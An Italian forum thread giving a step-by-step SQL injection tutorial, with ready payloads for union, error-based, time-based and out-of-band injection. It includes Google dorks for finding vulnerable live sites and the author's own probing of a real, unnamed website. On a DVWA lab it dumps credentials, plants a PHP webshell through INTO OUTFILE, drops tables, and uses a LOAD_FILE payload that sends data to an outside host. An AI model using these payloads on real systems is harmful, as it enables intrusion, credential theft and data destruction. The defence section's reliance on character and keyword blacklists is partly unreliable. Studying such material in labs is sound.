Guida SQL Injection

Stato
Discussione chiusa ad ulteriori risposte.

Gorate

Utente Emerald
13 Novembre 2016
1,384
42
478
529
Cosa e' SQL Injection ???

SQL Injection e' una tecnica di code injection che consente di injectare query malevole all' interno di un database; Questo, come ben si puo' comprendere, mette a repentaglio gran parte dei dati presenti nel database, come credenziali di un sito, numero di carte di credito, e altre tipologie di dati che normalmente vengono inseriti in un database con l' intento di preservare a custodire quest' ultimi.

Perche' e' cosi' diffusa ?

Questa vulnerabilita' e' molto diffusa per 2 motivi sostanziali:

  • Tutti i field di testo che vanno ad interrogare un database sono sostanzialmente a rischio
  • Spesso non vengono adottate le giuste misure quando si ricevono dei dati, si va' quindi incontro a XSS [https://www.inforge.net/xi/resources/xss-cross-site-scripting.14670/], e piu' in generale a code injection [quindi Html inj, command execution, php injection, rce, ecc.....], fra cui anche SQL Injection.
Perche' temere ?

Attuando un SQL Injection, e' possibile [permessi RW* permettendo] non solo interrogare un database e quindi rubare il suo contenuto, ma come se fosse poco, anche modificarlo od eliminarlo; Inoltre e' anche possibile injectare una webshell vera e propria come faremo con un semplice form di upload poco controllato, reperire informazioni sul server sul quale e' hostato i db e leggere/scrivere file sulla macchina, oltre che injectare comandi nella shell tramite la webshell stessa.

*Permessi RW: Permessi Reading/Writing : Permessi di lettura e scrittura

Prerequisiti:

Sono necessarie sicuramente:

  • Conoscenze [almeno base] della sintassi SQL standard; Se non le avete, vi consiglio innanzitutto di dare un occhiata alla sintassi base di SQL, che potete studiare da siti come https://www.w3schools.com/sql/, che offrono molti esempi
  • Sapere come lavora un database
  • Un sito vulnerabile/macchina stile metasploitable/pentesterlab dove esercitarsi [ne trovate molte girando online o su vulnhub.com]
  • Conoscenza minima e generale del funzionamento di un webserver

Tipologie di Attacco:

SQL Injection si suddivide in piu' sotto-attacchi, in base al canale di ritorno del risultato e alla tipologia di query injectate, esploriamole :):

SQL Injection Inband [classico]:
  • Union Based: e' sicuramente una delle tecniche piu' semplici e potenti, e permette di ritornare nello stesso identico canale di invio del payload, il contenuto completo del db attaccato. E' molto utilizzato, e come si deduce dal nome, la tecnica sfrutta il comando union per aggiungere ad un select precedente un nuovo select che selezioni i dati interessati. In generale, deve essere gia' presente un select, e cio' avviene spesso in siti che prendono ad esempio come parametro il nome della categoria da cui ritornare gli articoli;
    PHP:
     <?php  if(isset($_GET['Submit'])){    $id = $_GET['category']; //immaginando che ad un determinato numero corriponda una sezione
    
        $getid = "SELECT title, desc FROM posts WHERE category= '$id'";
    
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    
        $num = mysql_numrows($result);
    
        $i = 0;
    
        while ($i < $num) {
    
            $title = mysql_result($result,$i,"title");
    
            $desc = mysql_result($result,$i,"desc");
    
            echo '<pre>';
    
            echo 'ID: ' . $id . '<br>Title: ' . $title . '<br>Description: ' . $desc;
    
            echo '</pre>';
    
            $i++;
    
        }
    
    }
    ,
    Markdown (tipo Github):
    # Struttura del DB:
    [/LIST]
    ------------------------------------------------
    id | title          | desc                     |
    ------------------------------------------------
    0  | 'Test'         | 'Simple post test'       |
    ------------------------------------------------
    1  | 'Welcome'      | 'Welcome Back ;)'        |
    ------------------------------------------------
    . In questo caso, lo script in php non fa' altro che restituire i posts in base al parametro '?category' passato. Come si puo' notare, viene gia' effettuato un select, quindi inserendo un payload del tipo
    SQL:
    ' or 1=1 union all select ...
    , potremmo selezionare tutto cio' che vogliamo, come l OS su cui gira il DB
    SQL:
    ' or 1=1 union all select @@version #
    , fino al contenuto di una qualsiasi tabella, come le credenziali del db usato: [esempio]
    SQL:
    1' or 1=1 union select user,password from users #
    .
    • Error Based: piu' complesso per quanto riguarda la costruzione di payloads, e non e' utilizzabile per enumerare un db completo. Viene utilizzato per lo piu' per ottenere info dal server, che quando lancia errori di sintassi, fornisce. Un modo per evitare questa tipologie di attacco, e' quello di disabilitare gli errori dopo aver lanciato ufficialmente un progetto, poiche' questi sono utili solo all inizio dello sviluppo, mentre se lasciati abilitati, possono divenire un arma a doppio taglio. La piu' semplice di queste injection, sfrutta gi errori portati dalle funzioni matematiche, per ritornare nell errore il valore che non puo' essere considerato e castato come un intero, ed e' simile al seguente: [stesso codice e db di prima]
      SQL:
      news' and 1=0/@@version #
      ,
      Markdown (tipo Github):
      Server Error in '/' Application.Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 –8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: ) ' to a column of data type int.Description: An unhandled exception occurred during the execution of the
      current web request. Please review the stack trace for more information
      about the error and where it originated in the code
      [semplice esempio di errore: non sempre sono cosi' verbosi purtroppo], ma ce ne sono altri, che permettono attraverso dei payload assai piu' complessi, di ottenere info interessanti, come
      SQL:
      1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) ##ritorna un out simile al seguente: Output : XPATH syntax error: <table_name>
      , o
      SQL:
      1' and (select 1 from (Select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x) ##ritorna il database in uso
      . Maggiori approfondimenti verrano trattati successivamente passo per passo in modo approfondito.
  • Inferential SQL Injection:
    E' una tipologia di attacco che richiede piu' tempo ma e' allo stesso modo molto pericoloso. Si differenzia dagli attacchi "inband" poiche' non viene trasferito nessun dato dalla web application all utente, e dunque un attaccante non puo' estrapolare direttamente il contenuto, ma puo' vedere gli effetti che le query inviate hanno sul webserver.
    Questa tipologia di attacchi e' definita anche "cieca" proprio per questo motivo.
    • Boolean Based: Gli attacchi inferentiali, sono definiti anche 'Blind', e non restituiscono risultati sullo stesso canale da cui viene injectato il payload, ma sono query utilizzate per poter reperire info, e sono spesso molti lenti, rendendoli molto difficili da usare per exploitare completamente un db, ma utilissimi per comprendere come lavori il db che si vuole attaccare.
    • Time Based: Questo attacco sfrutta il tempo di caricamento del contenuto del db: attraverso delle query specifiche, e puo' dunque permettere di ricevere una risposta http dopo un tot di tempo. La via piu' semplice sarebbe una query simile alla seguente: union select sleep(10), ma in realta' questa query sarebbe possibile ottenerla solo nel caso di uno scenario union based, mentre per realmente avere una time based injection, bisogna passare a query simili alla seguente:
      SQL:
      WAITFOR DELAY '0:0:10'--
      , o anche
      SQL:
      BENCHMARK(10000,MD5(1)) #nel caso prima ci sia un controllo condizionale
      .
  • Ouband SQL Injection:
    Si verificano solo nel caso in cui un webserver [e in particolare il db], permette di inviare richieste DNS o HTTP; In questo caso, si possono sfruttare delle speciali query che permettano di effettuare tali richieste, ritornando cosi' dei dati all utente in un canale separato, ma allo stesso modo, piu' velocemente, e anche piu' sicuro [nel caso in cui il db abbia risposte poco chiare alle query blind]. Un caso particolare e' quello che vede il comando MSSQL xp_dirtree, ma allo stesso anche in MySQL, come accade usando la seguente query:
    SQL:
    1' OR (SELECT LOAD_FILE(concat('\\\\',(test), 'testhost.net\\')))
    . Questa tipologia di e' usata molto soprattutto quando sarebbe possibile un sql injection inband [ad esempio una union based, quindi la query viene effettivamente evalutata], ma il webserver usa difese per bonificare ed eliminare l' output del db in particolari casi, non facendolo quindi giungere alla nostra vista.

    Iniziamo!
    Innanzitutto dobbiamo scegliere un sito vulnerabile/macchina target che offra un db fallato; Su google e' possibile sfruttare le dork, diciamo dei filtri speciali, che ci permettono di rilevare quali siti presentano un url dove viene richiesto un input che andra' poi ad interrogare il db;

    Le piu' famose sono sicuramente:
    • inurl:php id=
    • inurl:.php?cat=
    • inurl /*.php id=

  • Ma ce ne sono molte altre, ma in realta' servono a ben poco poiche' spesso non sono indicizzate, e se si vuole procedere con dei bot, si e' bloccati dai captcha di google e motori di ricerca vari.

    Consiglio quindi [soprattutto se siete alle prime armi e non volete essere denunciati [e' sempre un reato ...]], di utilizzare le macchine pronte all uso come metasploitable, pentesterlab, quelle che offre vulnhub o altre, che sono direttamente configurate e create per essere vulnerabili.

    Allora, innanzitutto possiamo vedere un semplicissimo caso d' uso: il login bypass; Questa tecnica punta a bypassare l autenticazione di un login, e la query usata di piu' e' sicuramente
    SQL:
    "' or 1=1 -- -
    . Questa ovviamente non e' l unica, ma la cosa che mi interessa far comprendere, e' come la query che inseriamo vada ad influenzare il comportamento del db, facciamo quindi un passo indietro:
    il db potrebbe essere composto semplicemente cosi':
    Markdown (tipo Github):
    id | user | pass |
    ------------------
    1  | admin| pass |
    ------------------
    2  | usr  | pss  |
    ------------------
    , e la query che seleziona e controlla se il login e' stato effettuato correttamente, potrebbe essere simile a questa:
    SQL:
    select * from session where user="{user_ricevuto}" and pass="{pass_ricevuta}"
    .
    In questo caso dunque, se avessimo inserito un semplice user e pass, like "ciao","ciao" [virgolette escluse], la query si sarebbe trasformata nel seguente modo [ovviamente se non bonificata]:
    SQL:
    select * from session where user="ciao" and pass="ciao"
    , ma in questo caso, se avessimo inserito la query sql sopra citata, avremmo ottenuto una query del genere:
    SQL:
    select * from sessions where user="'" or 1=1 -- - and pass=""
    ;
    Come potete notare la costruzione logica della query e' alterata, e risultera' sempre vera, ritornando cosi' all utente malintenzionato una sessione che potra' sfruttare liberamente per accedere ad un eventuale pannello di amministrazione o semplicemente divenendo un utente loggato con successo.
    Potete testare questa tecnica sia sul login principale di mutillidae, sia facendo test su siti che ve lo permettono appositamente, come in questo caso:
    1521816867381.png
    .

    Ora, io procedero' con un attacco su un sito vero, naturalmente loggato sotto proxy e non andro' ad effettuare query pesanti, poiche' il mio unico obbiettivo e' mostrarvi come succede in un attacco sql [piu' o meno preparato lol]:

    innanzitutto si trova un obbiettivo, dopodiche' bisogna testare se questo e' effettivamente vulnerabile; La prima mossa e' quindi inserire un ' [apice singolo] dopo il dato richiesto, cosi' da vedere se il db ci riporta un errore che ci possa essere d' aiuto:
    1521817051141.png

    Bene, avendo la conferma che il db valuta correttamente la query inserita [-2'], senza bonificare il carattere singolo asterisco, e senza bonificare eventuali errori riportati, si puo' passare alla seconda fase, che consiste nella raccolta di informazioni sul db e sul server; Ma prima di questo: come facciamo a sapere quali e quante sono le colonne da caricare senza ottenere in caso di select un semplice errore like this: The used SELECT statements have a different number of columns ??
    La cosa e' molto semplice, e sfrutta un comando molto utilizzato:
    SQL:
    order by ...
    .
    Immettendo la query
    SQL:
    1' or 1=1 order by 1 #non si ottiene un errore nel mio caso sul db che testo, quindi abbiamo piu' di 1 colonna
    1' or 1=1 order by 2 #nessun errore: sono piu' di 2
    ....
    1' or 1=1 order by 8 #errore: quindi le colonne sono 8-1 = 7
    . Ora che conosciamo le colonne interessate, bisogn vedere quali sono, e possiamo saperlo semplicemente inserendo una query simile alla seguente:
    SQL:
    1' or 11=11 union all select 1,2,3,4,5,6,7 #
    ; In questo modo, appariranno i numeretti relativi alle colonne interessate, ad esempio sul mio target attuale ottengo un semplice 1,2,3,4,5,6,7.
    Le query dovranno quindi essere inserite partendo da quella posizione per vedere evalutate correttamente.

    In particolar modo, ora che sappiamo piu' o meno quale sia la disposizione del db, bisogna cominciare ad ottenere informazioni utili, come versione,os,nome, user usato ecc....: per ottenere queste informazioni dobbiamo utilizzare le funzioni fondamentali [in questo caso di mysql]:
    Codice:
    version() #ritorna la versione del db usato
    user() #ritorna il nome dell utente db usato
    database() #ritorna il nome del db selezionato al momento
    current_user() #ritorna il nome dell user corrente
    current_date() #ritorna la data corrente
    current_time() #ritorna l orario locale attaule [utile per localizzare piu' o meno un server]
    
    #trovate di piu' qui: https://dev.mysql.com/doc/refman/5.7/en/information-functions.html
    .
    Ora, usiamo tali query per ottenere qualche info particolare che possa esserci utile:
    SQL:
     or 1=1 union all select 1,2,3,4,5,6,version() -- -
    . Ora, nel 90% dei siti sicuramente non vi ritornera' nulla poiche' spesso e' controllato cosa se viene riportato del contenuto del db non autorizzato, tanto da ottenere errori del genere: SELECT command denied to user 'user'@'localhost' for table 'infos' , o peggio ancora una pagina bianca.

    Bisogna allora passare ad un tipo di injection che permetta di ottenere queste info ed estrapolarle senza che il db se ne accorga: ecco che vediamo sia le blind che le error based.

    Ora, partiremo dalle blind per un semplice motivo: molto piu' semplici da comprendere;
    Usando una tima based, il db puo' nasconderci tutto, ma non puo' eliminare il tempo di caricamento se esegue una determinata query. In questo caso, poiche' abbiamo notato che le union based sono comunque ammesse, basta poco per ottenere una tima based con sleep(), poiche' il comando sql usato e' simile a questo [per selezionare il contenuto dal db completo, quindi non la nostra query, ma il backend]:
    SQL:
    select * from id where id={id_ottenuto_dalla_richiesta_GET} #nel mio caso
    . Possiamo quindi sfruttarla tramite una query per poter ottenere una cosa del genere:
    SQL:
    1' union all select null,null,null,null,null,null,sleep(10) -- - #ci vorranno 10 sec per caricare la pagina
    .

    Poiche' funziona, potremmo continuare in questa direzione, automatizzando il processo e facendo una cosa del genere:
    SQL:
    1' or if((condizione_da_verificare[esempio_iniziale_user]),sleep(10),0) -- -
    : in questo caso, se la lettera dell user X, fosse uguale a quella testata, sarebbe facile capirlo: il server ci metterebbe 10 sec anziche' 0.quslcosa [nel mio caso accade comunque perche' ho la connesione a 2 mbps :)]. Ovviamente in questo caso bisogna notare che ci servira' molto tempo e injectando mote query, saremmo facilmente rintracciabili, oltre che potremmo rallentare il webserver.

    Se invece non otteniamo riscontri, o semplicemente non ci piace andare alla cieca con le sql injection blind, meglio sfruttare delle error based: nel mio caso [in questo intendo], sono stati la chiave finale:
    inserendo la query:
    SQL:
    1' or 11=11 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0)  -- -
    , ottengo le info richieste, come e' possibile vedere dallo screen:
    1521819827386.png

    [l errore seguiva lo schema: Duplicate entry {} {} for key {} , poi come avete notato, gli spazi vuoti sono stati riempiti dal contenuto del db estrapolato tramite la query.
    Naturalmente, basta creare query simili a questa per ottenere molte altre info:
    SQL:
    1' or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- -
    1' or (1=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) -- -
    1' or (1=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1) -- -
    1' or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- -
    .

    In questo caso, avremmo potuto ottenere anche molti altri dati, ma passiamo alla estrapolazione di dati. Per questo step cambiero' target, utilizzando il semplice dvwa che trovate su metasploitable, per il semplice fatto che voglio evitare di essere denunciato ;)

    Dunque, passiamo a dvwa.
    Come potete vedere, la cosa e' veramente molto piu' immediata, non servono particolari trucchi [soprattutto se la sicurezza e' settata su low o medium [lo uso per farvi vedere le potenzialita' di un sql injection]]:
    1521820745517.png
    [come potete vedere e' possibile innanziutto ottenere informazioni preziose, ma anche leggere file tramite la funzione mysql
    SQL:
    load_file("path/file")
    . Ora, passiamo invece alla parte di exploiting: otterremo innanzitutto il nome delle tabelle presenti nel db selezionato [che usa la web-app]:
    1521820951094.png
    . Scegliamo ora di andare a controllare quali siano le credenziali presenti nella tabella degli users, dobbiamo quindi trovare quali sono le tabelle che ci interessano attraverso la query:
    SQL:
    1' or 1=1 union select null, table_name from information_schema.tables where table_name like 'user%' -- -
    , e successivamente dovremo trovare il nome delle colonne che contengono i dati interessati [usiamo dunque la query:
    SQL:
    1' or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' -- -
    ];
    Otteniamo quindi i seguenti dati:
    1521821367699.png
    .

    Bene, ora che conosciamo quali sono le tabelle che ci interessano, e anche la colonne che contengono i dati per cui tanto agogniammo, possiamo finalmente estrarli attraverso la query:
    SQL:
    1' or 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users -- -
    , ottenendo gli users e le pass [spesso troverte quest ultime encodate in md5, ma in generale basta comprendere quale sia l encoding e procedere con il decoding, mentre se sono criptate, l unica strada che vi rimane e' usare programmi come John, o Crack per sbloccarle]:
    1521821643206.png
    .

    Avremmo ora terminato, ma con SQL Injection e' possibile anche ottenere un RCE [remote code execution] completa, che attacchi direttamente il webserver, e non solo il db: possiamo infatti injectare una webshell [permessi RW permettendo].
    Per fare cio', basta inserire il codice php della piu' semplice webshell, e injectarlo dentro un file nella cartella del server; Nel mio caso basta usare la query:
    SQL:
    1' or 1=1 union select "<? system($_REQUEST['cmd']); ?>",null into outfile '/var/www/cmd.php' -- -
    . Dopo cio', bastera' semplicemente andare sul link: vittima.com/cmd.php?cmd=ls, per ottenere a schermo l output del comando eseguito:
    1521822325041.png
    .
Come asserivo all inizio, non e' difficile anche modificare od eliminare un intera tabella/db, poiche' usando le query batched [quelle che separano 2 comandi tramite il ;], possiamo impartire non solo comandi di prelevamento, ma anche di eliminamento o modifica: basterebbe una query come la seguente:
SQL:
1' or 1=1; drop table users -- -
.
Ovviamente potete usare tutti gli altri comandi per inserire altri dati con il costrutto
SQL:
1' or 1=1; insert into x values () -- -
.

Come difendersi??

Ora, per evitare un SQL Injection, bisogna sicuramente bonificare le query prima che vengano evalutate: dunque fate attenzione ai caratteri che vengono immessi, rimuovete gli apici, i cancelletti e i trattini, e andate alla ricerca di parole chiave che potrebbero essere delle keyword di sql, come UNION.
Tenete ben separati il lato backend dal front end, non create collegamenti diretti fra il db e la pagina, cercate quindi di creare un intermediario che gestisca il contenuto esfiltrato per evitare che vengano lette piu' cose di quanto si dovrebbe, e soprattutto, oltre ad usare un buon motore di bonifica, cercate di fare sempre affidamento su whitelist.
Nel SQL pero', le query possono essere varie, quindi se si deve ricorrere per forza ad una blacklist [che spesso e' bypassabile], farlo utilizzando anche encoding dell input ricevuto e magari bonifica da parte di altri servizi, non solamente made-by-you.

In molti linguaggi, e' inoltre possibile usare i prepared statement, che permettono di diminuire sostanzialmente la possibilita' di SQL Injection; Sempre parlando di servizi e framework, molti di questi offrono gia' una difesa di per se', ma la cosa piu' importante e' creare un codice sicuro ed efficente, che non porti a questa tipologia di falle, che come avete visto, si possono rivelare veramente pericolose.

PS: E' interessante la possibilita' di poter vedere i codici del livello high,medium e low di dvwa [tutti e 3 vulnerabili]:
1521823288878.png





That's all folks ;)
 
  • Mi piace
Reazioni: Stefano Novelli

Gorate

Utente Emerald
13 Novembre 2016
1,384
42
478
529
Ultima modifica:
Purtroppo questo staccò e obsoleto
Stacco' ??

Comunque SQL Injection nei piccoli applicativi e' ancora una presenza costante, poi ovvio che grandi applicativi non ne soffrono minimamente.
Se ho commesso qualche errore fatemelo sapere

PS: ribadisco perche' non vorrei essere frainteso: nei piccoli applicativi, dove sono utilizzate tecnologie in minor quantita', dove non si fa' caso alle query e alla sicurezza del progetto come uno step ben differente dal testing, e' presente eccome [certo, non in tutti e spesso cio' e' mitigato da firewall e altre difese], ma e' ovvio che in applicativi di grandi dimensioni non e' piu' presente tale vulnerabilita', poiche' gia' le tecnologie che vengono usate in parte hanno il compito di mitigare questi aspetti, se poi aggiungiamo difese, un codice sicuro e ben fatto, e magari qualche altro plus, e' ovvio che questa vuln e' defunta a quei livelli.

Pero' e' vero, quoto anche io che SQL Inj e' obsoleta nella maggio parte dei casi, cio'nonostante penso sia importante porre comunque attenzione a questo aspetto in previsione di un codice piu' sicuro a livello logico, non applicativo [appunto il tutto e' manuale e le query sono presentate nella loro modifica totale].

PS2: @quirky te la cavi bene con le eta', io invece sono una frana, mi devi dare lezioni
 
Stato
Discussione chiusa ad ulteriori risposte.